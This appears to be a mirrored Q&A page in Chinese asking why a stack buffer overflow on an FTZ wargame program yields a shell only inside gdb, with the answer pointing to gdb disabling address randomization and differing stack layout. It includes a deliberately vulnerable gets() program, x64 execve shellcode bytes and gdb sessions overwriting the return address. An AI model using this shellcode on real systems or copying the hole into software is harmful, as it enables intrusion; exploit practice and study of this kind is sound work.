【问题标题】:Buffer overflow success only when using gdb仅在使用 gdb 时缓冲区溢出成功
【发布时间】:2016-09-19 05:27:59
【问题描述】:

如果我直接用GDB修改返回地址,缓冲区溢出成功,我可以得到shell。但是,当我不使用 GDB 时,我无法获得具有相同 shell 代码的 shell。我找不到它们之间的任何区别。

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

int main(void)
{
    char str[256];
    char *ptr;
    int a;

    printf("문장을 입력하세요.\n");
    gets(str);
    printf("%s\n", str);
}

上面是我的受害者程序“ftz_level12”。

"\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"

如果我使用gdb的set指令,我可以得到这样的shell

(gdb) r
Starting program: /home/knight/bof_prac/ftz_level12 
문장을 입력하세요.
hello

Breakpoint 1, 0x000000000040059c in main ()
(gdb) i r rbp
rbp            0x7fffffffe480   0x7fffffffe480
(gdb) set {int}0x7fffffffe488 = 0xffffeed0
(gdb) set {int}0x7fffffffe48c = 0x7fff
(gdb) disable
(gdb) c
Continuing.
hello
process 4443 is executing new program: /bin/dash
$ 

如果我不使用 set 指令,我就无法获得 shell

(gdb) r < code
Starting program: /home/knight/bof_prac/ftz_level12 < code
문장을 입력하세요.
????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????abcdefgh?????
process 4449 is executing new program: /bin/dash
[Inferior 1 (process 4449) exited normally]

以上是我使用的 shell 代码。 我使用的是 ubuntu 16.04 和 x64 架构

【问题讨论】:

  • 我读了那个链接。我认为它真的很有用。但是读了之后,我觉得有点奇怪。实际上它在 gdb 上也不能很好地运行。如果我用 gdb 的 set 指令指定返回地址,我可以得到 shell。如果我不使用它,即使我使用 gdb 也无法获得 shell。
  • 你说的“我能拿到壳”是什么意思?
  • 我英语不好。我添加了有问题的“我可以得到外壳”

标签: shell gdb buffer-overflow shellcode


【解决方案1】:

我找不到它们之间的任何区别。

GDB 默认禁用地址空间随机化。您可以使用(gdb) set disable-randomization off 重新启用它。

https://stackoverflow.com/a/17775333

更新:

我通过 /proc/sys/kernel/randomize_va_space=0 关闭了 aslr 保护

这相当于在 GDB 中设置 disable-randomization off

正如other answer 所提到的,您还需要将 GDB 内部和外部的堆栈布局安排得足够近。

一个可能相关的区别是 GDB 总是通过其完整路径调用程序。尝试像这样在 GDB 外部运行:

/home/knight/bof_prac/ftz_level12 < code

【讨论】:

  • 我通过 /proc/sys/kernel/randomize_va_space=0 关闭了 aslr 保护。我认为 set disable-randomization off 与 /proc/sys/kernel/randomize_va_space 相同。我误会了吗??
  • 我试过 /home/knight/bof_prac/ftz_level12
猜你喜欢
  • 2013-10-04
  • 1970-01-01
  • 2015-12-16
  • 1970-01-01
  • 2010-11-11
  • 1970-01-01
  • 1970-01-01
  • 2023-03-11
  • 1970-01-01
相关资源
最近更新 更多